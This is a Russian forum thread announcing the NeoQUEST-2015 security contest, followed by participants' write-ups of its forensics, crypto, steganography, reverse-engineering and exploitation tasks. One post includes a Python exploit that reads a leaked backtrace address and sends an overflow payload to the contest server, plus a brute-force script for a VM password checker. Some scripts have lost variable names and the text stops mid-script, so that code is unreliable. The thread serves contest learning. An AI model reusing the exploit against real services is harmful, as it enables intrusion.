Сейчас на форуме: Kybyx (+3 невидимых)

 eXeL@B —› Оффтоп —› Cоревнования специалистов по кибербезопасности NeoQUEST-2015
Посл.ответ Сообщение

Ранг: 2.0 (гость)
Активность: 0=0
Статус: Участник

Создано: 13 марта 2015 19:35
· Личное сообщение · #1

Приглашаем принять участие в онлайн-туре ежегодного соревнования специалистов по кибербезопасности NeoQUEST-2015, который пройдет с 10 по 17 марта!
NeoQUEST — это ежегодное испытание для специалистов в области кибербезопасности, затрагивающее как фундаментальные, так и самые актуальные и нетривиальные проблемы защиты информации. В этом году участников ждут увлекательные и разнообразные задания следующей направленности:
– стеганография;
– reverse engineering;
– криптография;
– безопасность современных мобильных технологий;
– форенсика;
– виртуализация.
Лучшие участники онлайн-тура получат не только отличные призы, но и приглашение на участие в очном туре NeoQUEST-2015, который пройдет в Санкт-Петербурге в период белых ночей! Главный приз очного тура – поездка на одну из международных хакерских конференций, на выбор победителя!
Регистрация открыта здесь: http://2015.neoquest.ru/.
Больше узнать про квест можно на сайте http://neoquest.ru и на Хабрахабр (http://habrahabr.ru/company/neobit/blog/).



Ранг: 95.1 (постоянный), 247thx
Активность: 0.260.01
Статус: Участник

Создано: 13 марта 2015 19:40
· Личное сообщение · #2

Хвост из фсбшников обеспечен.

-----
TEST YOUR MIGHT


| Сообщение посчитали полезным: sivorog

Ранг: 45.7 (посетитель), 40thx
Активность: 0.030
Статус: Участник

Создано: 14 марта 2015 01:17
· Личное сообщение · #3

Органы совсем не палятся



Ранг: 431.7 (мудрец), 390thx
Активность: 0.730.32
Статус: Участник

Создано: 14 марта 2015 01:24 · Поправил: dosprog
· Личное сообщение · #4

Isabella пишет:
Регистрация открыта здесь: http://2015.neoquest.ru/.


.. погрязли в масонстве ..






Ранг: 1131.7 (!!!!), 447thx
Активность: 0.670.2
Статус: Участник

Создано: 14 марта 2015 08:41
· Личное сообщение · #5

продам гараж.

| Сообщение посчитали полезным: igorca, Crawler, BigBoy


Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 15 марта 2015 07:31
· Личное сообщение · #6

Кругом масоны и рептилоиды, нужно быть крайне осторожным.

-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.




Ранг: 419.0 (мудрец), 647thx
Активность: 0.460.51
Статус: Участник
"Тибериумный реверсинг"

Создано: 15 марта 2015 10:20
· Личное сообщение · #7

Gideon Vi пишет:
продам гараж.

с машиной или без?




Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 17 марта 2015 12:40 · Поправил: Crawler
· Личное сообщение · #8

Ок, раз уж очный тур завершён - расскажите, что там с ключом, который был спрятан в последнем задании.

А был ли ключ?

Сначала - монтируем образ диска в режиме "только для чтения" в Windows 8 или выше. Можно, конечно, его было конвертировать в vhd вот так:

C:\Program Files\Oracle\VirtualBox>vboxmanage clonehd --format VHD D:\downloads\
contest\win7_neoquest.vhdx D:\downloads\contest\win7_neoquest.vhd


Однако я не стал заниматься такой хренью, поставил восьмёрку на VMWare и подключил диск

Ясное дело, что нужно было сам ключ достать из папки "dali" в корне диска, где был удалённый файл "key-x.jpg". В метаданных был ключ, а сам файл был ключом для TrueCrypt-контейнера "files", находящегося в папке "C:\users\JohnSmith". Там были картинки и биография. А дальше что - скрытый криптоконтейнер? Я как не бился, не смог понять, что делать с двумя ключами (из файла key-x.jpg и файла "descript.ion" из папки "dali") и какие ключевые файлы нужны для скрытого кк, если он был.

Это основное, что меня интересует.

По поводу этого задания было множество догадок. Например, зачем flv-плеер на рабочем столе? Были какие-то flac-файлы в удалённом, но ничего интересного в них не нашлось.

С применением R-Studio я посмотрел последовательность действий над файлами диска. Но это не помогло.

Вот до чего я докопался в попытках решить остальные задания (я не смотрел подробно, что там было, например, задания с Solaris, Mason Os (образом дискеты) и андроид-приложением с SSL я вообще не смотрел (хотя последнее решается, наверное, тоже легко, после декомпиляции). Если там было что-то интересное, отпишитесь тут, кто решал их.


Mystic Square ("Пятнашки").


Почти халява. Прежде всего, получаем ключ. Кто как, а я не люблю пятнашки, поэтому получил первый ключ, воспользовавшись Adobe Photoshop (собрал куски картинки), потом уже собрал пятнашки ради интереса, пока было время.
Ключ такой: 10838670582455823456841.

Декомпилим игру (Java Decompiler), смотрим на методы.

Класс "Simple" содержит основное, что нам нужно знать. Там есть методы Get() и Decrypt (String paramString).

Первый получает файл от скрипта "http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php". В запросах фигурирует строка:

[ASM]79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php?message=10838670582455823456841[/ASM]

Кстати, md5-хэш строки-названия папки - testgame, не знаю, имеет ли это значение.

В результате запроса получаем файл ("/sdcard/key.txt") со следующим содержимым:

[ASM]5890287499022904927250918089905639153507
3148792732424313619076650032785631134
key=a0bf0f01485a59addf4f9374e7c2a7b5[/ASM]

Дальше - простая криптография, если можно это так назвать, а скорее - теория чисел. Тут вступает в дело метод класса "Simple" Decrypt (). Там была проверка условия: если на диске отсутствует файл ""/sdcard/key.txt"", то возвращаем 0. В противном случае: читаем в массив первые две строки файла.

Проверяем условие:

Если (LocalArrilst(1).ModPow(e,n) равно LocalArrList(0)), то удаляем файл и возвращаем остаток по модулю, в вычислении которого фигурирует ParamString:

[ASM](LocalArrList(0)^Param)/n[/ASM]

Я не знаю, прав я или нет, но дальше нужно подобрать значение ParamString, чтобы получить нужный 32-значный остаток в hex-виде?

Лично я написал для поиска программу на C++ с использованием "Arageli" для операций с большими числами, но так и не подобрал ключ. Как дальше - кто знает?

[ASM]// bigintgr.cpp: определяет точку входа для консольного приложения.
//

#include "stdafx.h"
#include "Arageli.hpp"
using namespace std;
using namespace Arageli;

int _tmain(int argc, _TCHAR *argv[ ])
{
//Большие числа для сравнения из класса Simple и файла, полученного от сервера:
big_int LocalArrList0 = "5890287499022904927250918089905639153507";
big_int LocalArrList1 = "3148792732424313619076650032785631134";
big_int Param = 1;
big_int n = "8286006298514071265735892332006920710569";


int length_of_mod=0;

string str = "";

while (Param < 10000)
{
//Перенаправляем вывод в буфер
string bf;
ostringstream str_buf(bf);
streambuf *x = cout.rdbuf(str_buf.rdbuf()); // перенаправляем

big_int result = power_mod (LocalArrList0,Param,n);

//Считаем и выводим в буфер (в hex-виде)
//big_int result = power (LocalArrList0, Param) % n;
cout << std::hex<< result;

//В строку str копируем результат из буфера
str = str_buf.str(); // загоняем содержимое

//Возвращаем всё на место
cout.rdbuf(x);

length_of_mod = str.length ();


if (length_of_mod == 32)
{
cout << str << " [" << std::dec<< str.length()<< "]" << "( param = " << Param <<")"<< endl;
}
else
{
//cout << "Param = " <<Param << ", len = " << length_of_mod <<endl;
}


Param++;
}


getchar ();

return 0;
}
[/ASM]

"Истина внутри" (задача с видео и стеганографией)

Её я тоже не решил

Насколько я понял, нужно распаковать видос, что легко делается с ffmpeg примерно так:

[ASM]ffmpeg.exe -i C:\contest\video\apple.avi -vcodec rawvideo -an -pix_fmt yuv420p c:\contest\video\yuv.avi[/ASM]

В результате получаем yuv-видео, которое до этого было закодировано без потерь кодеком по алгоритму Хаффмана. Но, опять-таки, как я ни бился, ни фига не понял, где конкретно скрыта информация.

Таймлайн видео отличается: в нем при распаковке было другое количество кадров, другой фреймрейт, нежели в оригинальном видео с Ютуба. Что, в принципе, и на глаз заметно - есть рассинхронизация со звуковой дорожкой. Для исследований я пользовался RiffPad.

Возможно - но только возможно - там использовалось вот это (взято с Cryptowiki.net):

[ASM]Изображение представляется в формате YUV, то есть одним каналом яркости Y и двумя каналами цветности U,V. Изображение в канале яркости – это, по существу, черно-белое изображение. Широко известно, что зрительная система человека более чувствительна к изменениям в канале яркости, нежели в каналах цветности. Вследствие этого, компоненты U и V могут быть подвергнуты большему сжатию, чем Y.[/ASM]


Дружба и братство

Первая часть решается элементарно - там пояснения вообще не нужны. Получил первый ключ - 2b638b6da52bfad2d99dbab4018237df

(в exe мало интересного, лучше бы сразу с putty подключился к серверу).

Дальше нужно было декомпилировать .so-файл (библиотека, ELF64). Единственное, что я выяснил - что там в несколько проходов нужно получить ключ, основываясь на данных, которые выдает функция backtrace. Пароль вроде был 16-значным. Дальше копать не стал


Масон-connect

Открываем дамп Wireshark. Понимаем, что там TLS v1. Получаем вот что:

[ASM]1) ClientHello
2) ServerHello:

Версия протокола: TLS 1.0
SESSION ID: cbf31107632bd4f7268a1af12022f3b6a0aed0a4d32e60238935e912d14234b5
Случайное число: 13dfd507bff3f666558587decfd0cca33e429cb36a38dc7880ea9d01
Алгоритм шифрования: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
Алгоритм сжатия: NULL

3) SERVER -> CERTIFICATE:

30820290308201f9a00302010202090093f6aca68de66ab4300d06092a864886f70d01010505003061310b3009060355040613027275310c300a06035504080c03737062310b300906035504070c027370310b3009060355040a0c026e62310b3009060355040b0c026e62310b300906035504030c026e623110300e06092a864886f70d010901160171301e170d3134313231393232333031395a170d3135303131383232333031395a3061310b3009060355040613027275310c300a06035504080c03737062310b300906035504070c027370310b3009060355040a0c026e62310b3009060355040b0c026e62310b300906035504030c026e623110300e06092a864886f70d01090116017130819f300d06092a864886f70d010101050003818d0030818902818100bc8f14f3f9a42328782b97286be863228b4dc8a44bf434e4a41d72487147a8095e29c20f620958b8db05c4eed117b0ce975407011c3120f7442546ee4d716467041f3ec7019f267adbe15353b25d3f8f0bed80cbe88e392d1ac4d3a6f2881b32307d8dc83cb70447f63f9527c67f6b6ebdd1d0eb914f278b38760cffbb0a30a50203010001a350304e301d0603551d0e0416041401a5add7fdbd6f495d3d12cf8b2a2d53896bacc0301f0603551d2304183016801401a5add7fdbd6f495d3d12cf8b2a2d53896bacc0300c0603551d13040530030101ff300d06092a864886f70d010105050003818100608f2f8ae6b7ac7e072d7a3075678aed1bac1919252aa7a6f052144fb8f39cb3bd886ab2b45f7dc27063ec33abcc2e34ff595b8faeab0e3eedb0cce8b97f99525aafcb640c5835f3128cc59d329bea73109778ad8fe7f253210a46f5edaeac367533d04ca4a34e9c6d0560c78e369400bfae5239d50a438a9a3aa1b3804eebae

PUBLIC KEY: 30818902818100bc8f14f3f9a42328782b97286be863228b4dc8a44bf434e4a41d72487147a8095e29c20f620958b8db05c4eed117b0ce975407011c3120f7442546ee4d716467041f3ec7019f267adbe15353b25d3f8f0bed80cbe88e392d1ac4d3a6f2881b32307d8dc83cb70447f63f9527c67f6b6ebdd1d0eb914f278b38760cffbb0a30a50203010001


ENCRYPTED: 608f2f8ae6b7ac7e072d7a3075678aed1bac1919252aa7a6f052144fb8f39cb3bd886ab2b45f7dc27063ec33abcc2e34ff595b8faeab0e3eedb0cce8b97f99525aafcb640c5835f3128cc59d329bea73109778ad8fe7f253210a46f5edaeac367533d04ca4a34e9c6d0560c78e369400bfae5239d50a438a9a3aa1b3804eebae

4) ServerHelloDone

5) Клиент->ClientKeyExchange:

RSA ENCRYPTED PreMasterSecret (шифруется с помощью открытого ключа сертификата сервера):
02ecc58a10327ad5518b8f73ebe6279fca0dcb3c27cd68e11dcd1732c6c891feadd489e17d3ef817ecc6cedd0c32689a12e5cae5b2ade17fe2083d3cacf86d79f54eeb429ab911df538505e5e5ca77dcb213c0843cb171065383876e5360eb806a040433c43b026d806cfc2915a2a9249c65ab5dfcf560949378d0e3fcf9da34

[[Клиент и сервер, используя ключ PreMasterSecret и случайно сгенерированные числа, вычисляют общий секретный ключ. Вся остальная информация о ключе будет получена из общего секретного ключа (и сгенерированных клиентом и сервером случайных значений);]]


6) Клиент -> ChangeCipherSpec

------------------------Зашифровано

7) Клиент -> ENCRYTPED HANDSHAKE MESSAGE:

(содержит хеш и MAC, сгенерированные на основе предыдущих сообщений процедуры подтверждения связи. - - -Сервер пытается расшифровать Finished-сообщение клиента и проверить хеш

<>

-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.




Ранг: 35.8 (посетитель), 23thx
Активность: 0.030
Статус: Участник

Создано: 17 марта 2015 14:42
· Личное сообщение · #9

Crawler пишет:
Дружба и братство
в несколько проходов нужно получить ключ

В два прохода выясняется ключ из файла flag2.txt. Первый с фолтом, второй без. Смотреть в сторону расположения строк в памяти. Дальше не разобрался.

Mason OS

Есть дамп флоппи. Много времени пытался приляпать к ней Bios Parameter Block от FAT и смонтировать, однако, как оказалось, зря. Надо смотреть код бут лодыря. Защищенный режим и адресация это ад для меня. Зато когда докопался до сути, был весьма и весьма доволен. Алгоритм проверки ключа выполняется на очень простом языке, однако сам скрипт нужно изучить весь, т.к. на основе его приделать брутфорс.

| Сообщение посчитали полезным: Crawler


Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 17 марта 2015 15:01 · Поправил: Crawler
· Личное сообщение · #10

В предыдущем сообщении не прикрепился сертификат - странно. И форматирование сбилось. Может, слишком длинное сообщение. Прикреплю тут.

Psalmopoeus Pulcher
Я использовал для отладки VMWare+GDB. Настроить вирт. машину можно по описанию на osdev. В принципе, всё хорошо отлаживается. Но остановился в самом начале по той же причине, что и вы)

А что за скрипт?

ebaa_17.03.2015_EXELAB.rU.tgz - adsf.crt

-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.




Ранг: 35.8 (посетитель), 23thx
Активность: 0.030
Статус: Участник

Создано: 17 марта 2015 16:15
· Личное сообщение · #11

Crawler,
Под скриптом я имел в виду байткод какого то самописного интерпритатора. Что то вроде мини виртуальной машины. Я не стал в итоге делать "декомпиляцию", а просто переписал интерпритатор на вин и отладил в ольге.

x16 загрузчик я изучал в ида по статьям с васма. А вообще, я много чего из дампа этого загрузчика протрассил в ольге, по хэшу, например, алгоритм помогло определить внутри x32 загрузчика, распаковать и сдампить x64 загрузчик. Правда тут я крепко словил тупого, не понимая что это x64 . В итоге призвал на помощь bochs и все сразу встало на свои места.




Ранг: 527.7 (!), 381thx
Активность: 0.160.09
Статус: Участник
Победитель турнира 2010

Создано: 17 марта 2015 16:25
· Личное сообщение · #12

В А был ли ключ?
Ключ был написан на картинке
"Русская живопись\ПЕРЕДВИЖНИКИ\Серов Валентин Александрович (1865-1911) (79)\Петр I на псовой охоте.jpg"
Можно было найти листая все или по оттиску времени редактирования который остался в файле
2015:01:30 14:18:54, подобно тому как в key-x осталось 2015:01:29 17:24:20

В РаSSLедование
Приложение было собрано на основании http://habrahabr.ru/post/184738/, даже имена остались.
Все самое вкусное в libndkNative.so. А именно покриптованные строки
-A "Android User-Agent"
-d "765=69d7d41f1bc07bb4d101289acb3b048c"
-H "Accept-Language: sr"
https://db765.ru/138aa49508a4a55dc3d5f274268ac90e.php
/data/data/com.ifree.ndkNative/lib/libcurl.so -k
на основании которых формировался запрос и поля в заголовке.
При запросе возвращалась base64 строка которая декодировалась в архив с картинкой.
В общем
Code:
  1. import urllib2
  2. import base64
  3.  
  4. url = 'https://db765.ru/138aa49508a4a55dc3d5f274268ac90e.php'
  5. headers = {'Accept-Language': 'sr',
  6.            'User-Agent': 'Android User-Agent', 
  7.            'Host': 'db765.ru'}
  8. data = '765=69d7d41f1bc07bb4d101289acb3b048c'
  9.  
  10. req = urllib2.Request(url,data,headers)
  11. text = urllib2.urlopen(req).read()
  12. open('xx.zip','wb').write(base64.decodestring(text))


Добавлено спустя 5 минут
Mason OS

Все в конце концов заканчивается виртуальной машиной, под которой проверяется пароль
Code:
  1. 000000:  c2r   r3, 0x1505
  2. 000018:  mb2r  r1, r0
  3. 000030:  ifz   r1, 0x8 (0000f0)
  4. 000048:  r2r   r2, r3
  5. 000060:  shft  r3, -0x5 (<<)
  6. 000078:  add   r3, r2
  7. 000090:  add   r3, r1
  8. 0000a8:  c2r   r2, 0x1
  9. 0000c0:  add   r0, r2
  10. 0000d8:  jmp   -0x8 (000018)
  11. 0000f0:  c2r   r2, 0x40e1baa8ff648029
  12. 000108:  sub   r3, r2
  13. 000120:  ifz   r3, 0x2 (000150)
  14. 000138:  exit
  15. 000150:  call  0x1f (000438)
  16. 000168:  r2r   r5, r3
  17. 000180:  call  0x1d (000438)
  18. 000198:  r2r   r2, r5
  19. 0001b0:  sub   r2, r3
  20. 0001c8:  c2r   r1, 0x2a60386296a57940
  21. 0001e0:  sub   r2, r1
  22. 0001f8:  ifz   r2, 0x2 (000228)
  23. 000210:  exit
  24. 000228:  r2r   r2, r3
  25. 000240:  shft  r2, 0x20 (>>)
  26. 000258:  r2r   r1, r3
  27. 000270:  shft  r1, -0x20 (<<)
  28. 000288:  shft  r1, 0x20 (>>)
  29. 0002a0:  sub   r2, r1
  30. 0002b8:  c2r   r0, 0x3394749a
  31. 0002d0:  sub   r2, r0
  32. 0002e8:  ifz   r2, 0x2 (000318)
  33. 000300:  exit
  34. 000318:  r2r   r2, r3
  35. 000330:  shft  r2, -0x20 (<<)
  36. 000348:  shft  r2, 0x30 (>>)
  37. 000360:  r2r   r1, r3
  38. 000378:  shft  r1, -0x30 (<<)
  39. 000390:  shft  r1, 0x30 (>>)
  40. 0003a8:  sub   r2, r1
  41. 0003c0:  c2r   r0, 0x465e
  42. 0003d8:  sub   r2, r0
  43. 0003f0:  ifz   r2, 0x2 (000420)
  44. 000408:  exit
  45. 000420:  exit
  46. 000438:  c2r   r3, 0x0
  47. 000450:  c2r   r0, 0x0
  48. 000468:  c2r   r2, 0x10
  49. 000480:  sub   r0, r2
  50. 000498:  ifz   r0, 0x2 (0004c8)
  51. 0004b0:  jmp   0x2 (0004e0)
  52. 0004c8:  ret
  53. 0004e0:  add   r0, r2
  54. 0004f8:  mb2r  r1, r4
  55. 000510:  c2r   r2, 0x61
  56. 000528:  sub   r1, r2
  57. 000540:  ifz   r1, 0x2 (000570)
  58. 000558:  jmp   0x8 (000618)
  59. 000570:  shft  r3, -0x4 (<<)
  60. 000588:  c2r   r2, 0xa
  61. 0005a0:  add   r3, r2
  62. 0005b8:  c2r   r2, 0x1
  63. 0005d0:  add   r4, r2
  64. 0005e8:  add   r0, r2
  65. 000600:  jmp   -0x11 (000468)
  66. 000618:  mb2r  r1, r4
  67. 000630:  c2r   r2, 0x62
  68. 000648:  sub   r1, r2
  69. 000660:  ifz   r1, 0x2 (000690)
  70. 000678:  jmp   0x8 (000738)
  71. 000690:  shft  r3, -0x4 (<<)
  72. 0006a8:  c2r   r2, 0xb
  73. 0006c0:  add   r3, r2
  74. 0006d8:  c2r   r2, 0x1
  75. 0006f0:  add   r4, r2
  76. 000708:  add   r0, r2
  77. 000720:  jmp   -0xc (000600)
  78. 000738:  mb2r  r1, r4
  79. 000750:  c2r   r2, 0x63
  80. 000768:  sub   r1, r2
  81. 000780:  ifz   r1, 0x2 (0007b0)
  82. 000798:  jmp   0x8 (000858)
  83. 0007b0:  shft  r3, -0x4 (<<)
  84. 0007c8:  c2r   r2, 0xc
  85. 0007e0:  add   r3, r2
  86. 0007f8:  c2r   r2, 0x1
  87. 000810:  add   r4, r2
  88. 000828:  add   r0, r2
  89. 000840:  jmp   -0xc (000720)
  90. 000858:  mb2r  r1, r4
  91. 000870:  c2r   r2, 0x64
  92. 000888:  sub   r1, r2
  93. 0008a0:  ifz   r1, 0x2 (0008d0)
  94. 0008b8:  jmp   0x8 (000978)
  95. 0008d0:  shft  r3, -0x4 (<<)
  96. 0008e8:  c2r   r2, 0xd
  97. 000900:  add   r3, r2
  98. 000918:  c2r   r2, 0x1
  99. 000930:  add   r4, r2
  100. 000948:  add   r0, r2
  101. 000960:  jmp   -0xc (000840)
  102. 000978:  mb2r  r1, r4
  103. 000990:  c2r   r2, 0x65
  104. 0009a8:  sub   r1, r2
  105. 0009c0:  ifz   r1, 0x2 (0009f0)
  106. 0009d8:  jmp   0x8 (000a98)
  107. 0009f0:  shft  r3, -0x4 (<<)
  108. 000a08:  c2r   r2, 0xe
  109. 000a20:  add   r3, r2
  110. 000a38:  c2r   r2, 0x1
  111. 000a50:  add   r4, r2
  112. 000a68:  add   r0, r2
  113. 000a80:  jmp   -0xc (000960)
  114. 000a98:  mb2r  r1, r4
  115. 000ab0:  c2r   r2, 0x66
  116. 000ac8:  sub   r1, r2
  117. 000ae0:  ifz   r1, 0x2 (000b10)
  118. 000af8:  jmp   0x8 (000bb8)
  119. 000b10:  shft  r3, -0x4 (<<)
  120. 000b28:  c2r   r2, 0xf
  121. 000b40:  add   r3, r2
  122. 000b58:  c2r   r2, 0x1
  123. 000b70:  add   r4, r2
  124. 000b88:  add   r0, r2
  125. 000ba0:  jmp   -0xc (000a80)
  126. 000bb8:  mb2r  r1, r4
  127. 000bd0:  c2r   r2, 0x30
  128. 000be8:  sub   r1, r2
  129. 000c00:  ifz   r1, 0x2 (000c30)
  130. 000c18:  jmp   0x8 (000cd8)
  131. 000c30:  shft  r3, -0x4 (<<)
  132. 000c48:  c2r   r2, 0x0
  133. 000c60:  add   r3, r2
  134. 000c78:  c2r   r2, 0x1
  135. 000c90:  add   r4, r2
  136. 000ca8:  add   r0, r2
  137. 000cc0:  jmp   -0xc (000ba0)
  138. 000cd8:  mb2r  r1, r4
  139. 000cf0:  c2r   r2, 0x31
  140. 000d08:  sub   r1, r2
  141. 000d20:  ifz   r1, 0x2 (000d50)
  142. 000d38:  jmp   0x8 (000df8)
  143. 000d50:  shft  r3, -0x4 (<<)
  144. 000d68:  c2r   r2, 0x1
  145. 000d80:  add   r3, r2
  146. 000d98:  c2r   r2, 0x1
  147. 000db0:  add   r4, r2
  148. 000dc8:  add   r0, r2
  149. 000de0:  jmp   -0xc (000cc0)
  150. 000df8:  mb2r  r1, r4
  151. 000e10:  c2r   r2, 0x32
  152. 000e28:  sub   r1, r2
  153. 000e40:  ifz   r1, 0x2 (000e70)
  154. 000e58:  jmp   0x8 (000f18)
  155. 000e70:  shft  r3, -0x4 (<<)
  156. 000e88:  c2r   r2, 0x2
  157. 000ea0:  add   r3, r2
  158. 000eb8:  c2r   r2, 0x1
  159. 000ed0:  add   r4, r2
  160. 000ee8:  add   r0, r2
  161. 000f00:  jmp   -0xc (000de0)
  162. 000f18:  mb2r  r1, r4
  163. 000f30:  c2r   r2, 0x33
  164. 000f48:  sub   r1, r2
  165. 000f60:  ifz   r1, 0x2 (000f90)
  166. 000f78:  jmp   0x8 (001038)
  167. 000f90:  shft  r3, -0x4 (<<)
  168. 000fa8:  c2r   r2, 0x3
  169. 000fc0:  add   r3, r2
  170. 000fd8:  c2r   r2, 0x1
  171. 000ff0:  add   r4, r2
  172. 001008:  add   r0, r2
  173. 001020:  jmp   -0xc (000f00)
  174. 001038:  mb2r  r1, r4
  175. 001050:  c2r   r2, 0x34
  176. 001068:  sub   r1, r2
  177. 001080:  ifz   r1, 0x2 (0010b0)
  178. 001098:  jmp   0x8 (001158)
  179. 0010b0:  shft  r3, -0x4 (<<)
  180. 0010c8:  c2r   r2, 0x4
  181. 0010e0:  add   r3, r2
  182. 0010f8:  c2r   r2, 0x1
  183. 001110:  add   r4, r2
  184. 001128:  add   r0, r2
  185. 001140:  jmp   -0xc (001020)
  186. 001158:  mb2r  r1, r4
  187. 001170:  c2r   r2, 0x35
  188. 001188:  sub   r1, r2
  189. 0011a0:  ifz   r1, 0x2 (0011d0)
  190. 0011b8:  jmp   0x8 (001278)
  191. 0011d0:  shft  r3, -0x4 (<<)
  192. 0011e8:  c2r   r2, 0x5
  193. 001200:  add   r3, r2
  194. 001218:  c2r   r2, 0x1
  195. 001230:  add   r4, r2
  196. 001248:  add   r0, r2
  197. 001260:  jmp   -0xc (001140)
  198. 001278:  mb2r  r1, r4
  199. 001290:  c2r   r2, 0x36
  200. 0012a8:  sub   r1, r2
  201. 0012c0:  ifz   r1, 0x2 (0012f0)
  202. 0012d8:  jmp   0x8 (001398)
  203. 0012f0:  shft  r3, -0x4 (<<)
  204. 001308:  c2r   r2, 0x6
  205. 001320:  add   r3, r2
  206. 001338:  c2r   r2, 0x1
  207. 001350:  add   r4, r2
  208. 001368:  add   r0, r2
  209. 001380:  jmp   -0xc (001260)
  210. 001398:  mb2r  r1, r4
  211. 0013b0:  c2r   r2, 0x37
  212. 0013c8:  sub   r1, r2
  213. 0013e0:  ifz   r1, 0x2 (001410)
  214. 0013f8:  jmp   0x8 (0014b8)
  215. 001410:  shft  r3, -0x4 (<<)
  216. 001428:  c2r   r2, 0x7
  217. 001440:  add   r3, r2
  218. 001458:  c2r   r2, 0x1
  219. 001470:  add   r4, r2
  220. 001488:  add   r0, r2
  221. 0014a0:  jmp   -0xc (001380)
  222. 0014b8:  mb2r  r1, r4
  223. 0014d0:  c2r   r2, 0x38
  224. 0014e8:  sub   r1, r2
  225. 001500:  ifz   r1, 0x2 (001530)
  226. 001518:  jmp   0x8 (0015d8)
  227. 001530:  shft  r3, -0x4 (<<)
  228. 001548:  c2r   r2, 0x8
  229. 001560:  add   r3, r2
  230. 001578:  c2r   r2, 0x1
  231. 001590:  add   r4, r2
  232. 0015a8:  add   r0, r2
  233. 0015c0:  jmp   -0xc (0014a0)
  234. 0015d8:  mb2r  r1, r4
  235. 0015f0:  c2r   r2, 0x39
  236. 001608:  sub   r1, r2
  237. 001620:  ifz   r1, 0x2 (001650)
  238. 001638:  jmp   0x8 (0016f8)
  239. 001650:  shft  r3, -0x4 (<<)
  240. 001668:  c2r   r2, 0x9
  241. 001680:  add   r3, r2
  242. 001698:  c2r   r2, 0x1
  243. 0016b0:  add   r4, r2
  244. 0016c8:  add   r0, r2
  245. 0016e0:  jmp   -0xc (0015c0)
  246. 0016f8:  ret

Брутить всего диапазон 0...0xffff-0x465e
Code:
  1. def _hash_(s):
  2.   r3 = 0x1505              
  3.   for cc in s:
  4.     r3 = (((r3 * 33) & 0xffffffffffffffff) + ord(cc)) & 0xffffffffffffffff
  5.   return r3
  6.  
  7. = 0
  8. while 1:
  9.   if l == 0xffff-0x465e:
  10.     break
  11.   h = l + 0x465e
  12.   ll = (<< 16) + l
  13.   hh = ll + 0x3394749a
  14.   if hh <= 0xffffffff:
  15.      lll = (hh << 32) + ll           # low 16 digits
  16.      if lll & 0x8000000000000000:
  17.         _lll = (lll ^ 0xffffffffffffffff)+1
  18.         hhh = 0x2a60386296a57940 - _lll
  19.      else:
  20.         hhh = lll + 0x2a60386296a57940  # high 16 digits
  21.      if hhh <= 0xffffffffffffffff:
  22.         nn = (hhh << 64) + lll
  23.         passw = '%x'%nn
  24.         hash = _hash_(passw)
  25.         if hash == 0x40e1baa8ff648029:
  26.            print passw
  27.   l += 1


Добавлено спустя 8 минут
Дружба и братство

2й и 3й флаги
Code:
  1. import socket
  2. import struct
  3. import re
  4.  
  5. = lambda x: struct.pack("Q", x)
  6. = lambda x: struct.unpack("I", x)[0]
  7.  
  8. = socket.create_connection(("79.175.2.85", 0x1f90))
  9. #print r_until("[ ]")
  10. print s.recv(1024)
  11. s.send("0123456789abcdef0123456789abcdef\n")
  12. addr = s.recv(1024)
  13. print addr
  14. ss = re.search('/home/srv/libtest\.so\(PrintBacktrace\+0x29\) \[([0-9a-fx]+)\]', addr)
  15. print ss.group(1)
  16. base = ss.group(1)[:-3]+'bf5'
  17. print base
  18. payload = "123456789abcdef\x00123456789abcdef\x00\x00\x00\x00\x00\x00\x00\x00\x00"+q(int(base,16))
  19. s.send(payload+"\n")
  20. print s.recv(1024)
  21. print s.recv(1024)


Добавлено спустя 14 минут
Если кому интересно, то код виртуальной машины извлекался скриптом
Code:
  1. import struct
  2.  
  3. = lambda x: struct.unpack("Q", x)[0]
  4.  
  5. ofs=0xFDA0
  6. _len = 0x1710
  7.  
  8. def skipZero(b):
  9.    o = ''
  10.    for c in b:
  11.       if c == '\x00':
  12.          return o
  13.       o += c
  14.  
  15. = open('zzz4','rb')
  16. = f.read()[ofs:ofs+_len]
  17. f.close()
  18.  
  19. = 0
  20. while 1:
  21.    addr = i
  22.    if i >= _len:
  23.      break
  24.    oc = skipZero(b[i:i+8])[::-1]
  25.    i += 8
  26.    if oc == 'ret':
  27.       print '%06x: %s'%(addr,oc)
  28.       i += 16
  29.    elif oc == 'ifz':
  30.       dst = skipZero(b[i:i+8])[::-1]
  31.       i += 8
  32.       imm = Q(b[i:i+8])
  33.       i += 8
  34.       if imm & 0x8000000000000000:
  35.          imm = (imm ^ 0xffffffffffffffff)+1
  36.          x = addr - 0x18 * imm
  37.          print '%06x: %s %s, -0x%x (%06x)'%(addr,oc,dst,imm,x)
  38.       else:
  39.          x = addr + 0x18 * imm
  40.          print '%06x: %s %s, 0x%x (%06x)'%(addr,oc,dst,imm,x)
  41.    elif oc == 'add':
  42.       dst = skipZero(b[i:i+8])[::-1]
  43.       i += 8
  44.       src = skipZero(b[i:i+8])[::-1]
  45.       i += 8
  46.       print '%06x: %s %s, %s'%(addr,oc,dst,src)
  47.    elif oc == 'c2r':
  48.       dst = skipZero(b[i:i+8])[::-1]
  49.       i += 8
  50.       imm = Q(b[i:i+8])
  51.       i += 8
  52.       print '%06x: %s %s, 0x%x'%(addr,oc,dst,imm)
  53.    elif oc == 'jmp':
  54.       imm = Q(b[i:i+8])
  55.       i += 16
  56.       if imm & 0x8000000000000000:
  57.          imm = (imm ^ 0xffffffffffffffff)+1
  58.          x = addr - 0x18 * imm
  59.          print '%06x: %s -0x%x (%06x)'%(addr,oc,imm,x)
  60.       else:
  61.          x = addr + 0x18 * imm
  62.          print '%06x: %s 0x%x (%06x)'%(addr,oc,imm,x)
  63.    elif oc == 'r2r':
  64.       dst = skipZero(b[i:i+8])[::-1]
  65.       i += 8
  66.       src = skipZero(b[i:i+8])[::-1]
  67.       i += 8
  68.       print '%06x: %s %s, %s'%(addr,oc,dst,src)
  69.    elif oc == 'exit':
  70.       print '%06x: %s'%(addr,oc)
  71.       i += 16
  72.    elif oc == 'sub':
  73.       dst = skipZero(b[i:i+8])[::-1]
